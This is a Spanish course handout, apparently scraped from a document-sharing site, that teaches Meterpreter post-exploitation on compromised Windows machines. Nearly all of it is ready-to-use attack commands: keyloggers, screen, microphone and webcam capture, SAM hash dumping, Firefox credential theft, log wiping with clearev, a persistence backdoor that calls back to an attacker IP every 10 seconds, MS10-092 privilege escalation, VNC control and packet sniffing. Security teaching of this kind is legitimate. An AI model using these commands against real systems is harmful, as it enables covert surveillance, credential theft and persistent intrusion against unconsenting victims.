19
SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER Meterpreter Metérpreter es el intérprete de comandos de metasploit, una vez que hemos conseguido una Shell remota en el equipo podemos utilizar este intérprete para realizar algunas tareas en el equipo atacado, a continuación se explican algunos fundamentos de funcionamiento de Meterpreter Sesiones en Metasploit En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar: sessions –l Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con: sessions -i <Id de la sesión> Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades: Si estamos dentro de una sesión: quit Sino estamos dentro de ninguna sesión: sessions -k <Id de la sesión> Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.

Introducción a meterpreter

Embed Size (px)

Citation preview

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Meterpreter

Metérpreter es el intérprete de comandos de metasploit, una vez que hemos conseguido una Shell remota en el equipo podemos utilizar este intérprete para realizar algunas tareas en el equipo atacado, a continuación se explican algunos fundamentos de funcionamiento de Meterpreter

Sesiones en Metasploit

En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar:

sessions –l

Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con:

sessions -i <Id de la sesión>

Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades: Si estamos dentro de una sesión:

quit Sino estamos dentro de ninguna sesión:

sessions -k <Id de la sesión>

Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Enviar una sesión a segundo plano

Por determinados motivos puede ser necesario mandar la sesión actual de meterpreter a un segundo plano para realizar otras tareas con Metasploit, para esto existe el comando: Background

Ayuda

Tanto si estamos en Metasploit como dentro de una sesión meterpreter existe una orden que nos mostrará los posibles comandos a ejecutar: ?

Trabajando con procesos

Meterpreter pone en la mano del atacante la posibilidad de cambiar su PID, es decir migrar a otro identificador de proceso distinto. Esta tarea la realiza gracias al comando migrate: migrate <numero de proceso>

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Pero, ¿cómo sabemos a qué proceso migrar o cómo podemos ver los procesos que están en ejecución? la respuesta nos la da la orden ps que nos mostrará el listado de proceso: ps

Si queremos comprobar el identificador de proceso actual de meterpreter (por ejemplo si acabamos de migrar a otro proceso y queremos comprobar que lo ha realizado correctamente) existe la orden getpid: getpid

Directorios y ficheros Para ver el directorio actual en el que nos encontramos (en la máquina de la víctima) tenemos getwd:

getwd

También es posible listar los elementos existentes en el directorio mediante el comando ls: ls

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Meterpreter permite editar ficheros del equipo de la víctima mediante el gran editor vi, para ello utilizaremos edit:

edit <nombre del fichero>

Si en cambio solo queremos ver el contenido de fichero cat es nuestra elección:

cat <nombre del fichero>

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

En ocasiones es muy probable que el atacante quiera descargar información de la víctima o subir algún archivo al sistema de ésta, para ello existen las ordenes download y upload respectivamente que permiten realizar estas tareas: download <nombre del fichero>

upload <nombre del fichero>

Información de sistema Para ver el usuario con el que hemos accedido al equipo, podemos utilizar getuid:

getuid

Si en cambio queremos conocer información del sistema que hemos "invadido" (como atacantes), podemos utilizar sysinfo: sysinfo

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Redes Meterpreter permite obtener información de la tarjeta de red de la víctima como si nos encontrásemos en ese mismo ordenador, para ello existen varios comandos que veremos a continuación. Para ver las tarjetas de red del equipo podemos utilizar ipconfig:

ipconfig

También tenemos a nuestra disposición otros comandos muy útiles como arp y route: arp

route

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Utilizando el keylogger Existen unas herramientas conocidas como keyloggers que permiten detectar las pulsaciones del teclado del ordenador. Meterpreter tiene el suyo propio y lo utilizaremos con keyscan. Existen tres comandos con keyscan, uno para iniciar, otro para finalizar y otro para volcar en pantalla la información capturada. [+] Iniciar la captura: keyscan_start

[+] Volcar la información capturada: keyscan_dump

[+] Cerrar el keylogger: keyscan_stop

Ver la pantalla de la víctima

Antes hemos leer lo que esta escribiendo el atacado, pero, ¿existe la posibilidad de ver lo que está viendo en la pantalla? Screenshot es la utilidad que ofrece meterpreter para hacer capturas de pantalla del ordenador víctima y la forma de utilizarlo es muy simple: screenshot

Acto seguido veremos la imagen de la pantalla:

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Desactivar el ratón y el teclado

Si por algún motivo queremos impedir que el usuario del sistema comprometido utilice el ratón y/o el teclado, existe uictl que permite estas funcionalidades. En el caso del teclado, para deshabilitarlo basta con: uictl disable keyboard

para volver a habilitarlo bastará con: uictl enable keyboard En lo que respecta al ratón, para desactivarlo es tan simple como: uictl disable mouse

con lo que para activarlo otra vez sería: uictl enable mouse

Obteniendo las claves hash

Una vez se ha comprometido el equipo con Metasploit y se posee una sesión de meterpreter, es posible obtener los hash de las claves de los usuarios del sistema contenidos en el archivo SAM (sistema operativo Windows). La forma de obtener estas claves (en formato hash) es con hashdump: hasdump

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Viendo los privilegios Para ver los privilegios con que contamos en el equipo comprometido podemos utilizar getprivs:

getprivs

Limpiar el rastro

Por último, antes de "desaparecer" de la maquina atacada conviene limpiar nuestro rastro, para ello contamos con clearev: clearev

Persistencia La orden persistance (antecedida por run) permite a meterpreter anclarse al inicio del sistema e intente establecer conexiones con la máquina atacante cada X tiempo.

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

El siguiente comando permite que al inicio del sistema comprometido y en intervalos de 10 segundos éste intente conectar con la máquina del atacante: run persistance -U -p 31337 -r 192.168.0.108 -i 10

Donde:

• -U => Ejecuta meterpreter cuando la víctima accede a su sistema. • -p <puerto a la escucha> => El puerto del equipo del atacante en donde se

conectará la víctima, es necesario que el atacante tenga un "handler" escuchando en este puerto como vimos en anteriores entregas.

• -r <IP atacante> => La dirección IP del atacante. • -i <segundos> => El intervalo en segundos en el que la víctima intentará

establecer conexión con el atacante.

Una vez ejecutado, agrega una entrada de meterpreter al registro de Windows en la sección de las aplicaciones que arrancan al inicio. Para probar que funciona, cerramos la sesión de meterpreter y ponemos Metasploit a escuchar el puerto especificado antes (con el handler). En breve (en función del intervalo especificado) veremos como la víctima se conecta automáticamente.

¿ Es la víctima una máquinavirtual?

El siguiente script permite saber si el sistema comprometido es o no una máquina virtual. Para ello basta con: run checkvm

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Aplicaciones en el equipo comprometido También de forma simple es posible ver las aplicaciones que tiene el equipo comprometido instaladas y su respectiva versión. Esto puede ser muy útil a la hora de buscar determinados exploits para, por ejemplo, escalar privilegios. run get_application_list

Obtener las credenciales de Firefox Para obtener jugosa información del navegador firefox, existe otro script para hacernos la vida más fácil. Éste se encargará de descargar a nuestro equipo los archivos necesarios para después analizarlos con comodidad. run post/multi/gather/firefox_creds

Existen gran cantidad de scripts para obtener las credenciales e información útil de muchos programas incluso en distintas versiones de éstos. Su utilización es similar a la de Firefox, basta con buscarlos en "post/multi/gather".

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Variables de entorno

Si se requieren las variables de entorno del equipo comprometido, su obtención es tan rápida como: run get_env

Otro keylogger Meterpreter ya posee su propio keylogger llamado keyscan, pero con el comando run podemos extender las posibilidades de este con esta versión más potente llamada keylogrecorder. Su utilización es muy sencilla: run keylogrecorder

Los archivos con la información interceptada se encuentran en /root/.msf4/logs/scripts/keylogrecorder.

Obteniendo información del sistema

Otro de los scripts interesantes es scraper que permite obtener información muy variada y diversa del equipo comprometido almacenándola en una carpeta de forma ordenada.

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

run scraper

Los datos obtenidos podemos encontrarlos en /root/.msf4/logs/scripts/scraper.

Grabación de voz Con este título tan romántico os introduzco el script sound_recorder que realizará grabaciones del equipo comprometido utilizando el micrófono de éste (si tiene obviamente xD) y las almacenará en /root/logs/sound_recorder.

run sound_recorder -l /root

El flag -l permite especificar una ruta alternativa para guardar los ficheros.

Controlar el escritorio

La siguiente posibilidad es controlar el equipo comprometido usando VNC, así de simple y directo. Basta con:

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

run vnc

Acto seguido se nos abrirá una ventana con el escritorio de la víctima .

Arrancar la webcam Ya solo nos quedaba para terminar de "conocer" a la víctima verla, tan simple como: run webcam

Una vez ejecutado el módulo meterpreter nos mostrará desde imágenes capturadas por la webcam hasta una sesión en streaming con ella.

Elevando privilegios

Para dicha tarea utilizaremos, a modo de ejemplo, una vulnerabilidad en la planificación de tareas de Windows (MS10-092) que permitía elevar privilegios pero que fue corregida hace bastante tiempo.

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Su ejecución es tan simple como: run post/windows/escalate/ms10_092_schelevator

Una vez finalice el proceso, la victima conectara con Metasploit otorgándonos una nueva sesión con los ansiados privilegios. Para comprobar esto, basta con: getprivs

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Desbloquear la pantalla

Como el titulo indica, el siguiente script permite desbloquear la pantalla de Windows.

Dicha tarea es tan simple como: run screen_unlock

en el caso de querer revertir los cambios utilizaremos el parámetro -r: run screen_unlock –r

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

Más posibilidades para el keylogger En anteriores entradas hemos visto cómo funcionaban los diversos keyloggers que incorporaba meterpreter, ahora vamos a extender las posibilidades capturando la contraseña de inicio de sesión de Windows, para ello lo primero es comprobar el proceso winlogon.exe y migrar a éste. Con esto ya será posible obtener la ansiada clave.

Ver clave de licencia o activar escritorio remoto Con privilegios se ponen a nuestra disposición nuevos scripts que nos ofrecen más opciones. Ejemplos de esto son listar los usuarios conectados, ver la clave de licencia de Windows o activar el escritorio remoto en el sistema. => Usuarios conectados: run /post/windows/gather/enum_logged_on_users

=> Licencias del sistema: run /post/windows/gather/enum_ms_product_keys

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

=> Escritorio remoto: run getgui –e

=> Contraseña del sistema: run post/windows/gather/hashdump

Jugando con sniffers Una de las grandes posibilidades que posee meterpreter es el poder utilizar un sniffer desde el equipo comprometido y obtener el trafico capturado por éste, para ello utilizaremos packetrecorder.

El primer paso para ejecutarlo es conocer las interfaces del equipo víctima, para ello: run packetrecorder -li

SAD – TURNO DE MAÑANA INTRODUCCIÓN A METERPRETER

cada una de estas interfaces es precedida de un numero o identificador que pasaremos como parámetro (flag -i) para escoger la interfaz que capturará el tráfico. run packetrecorder -i <identificador interfaz>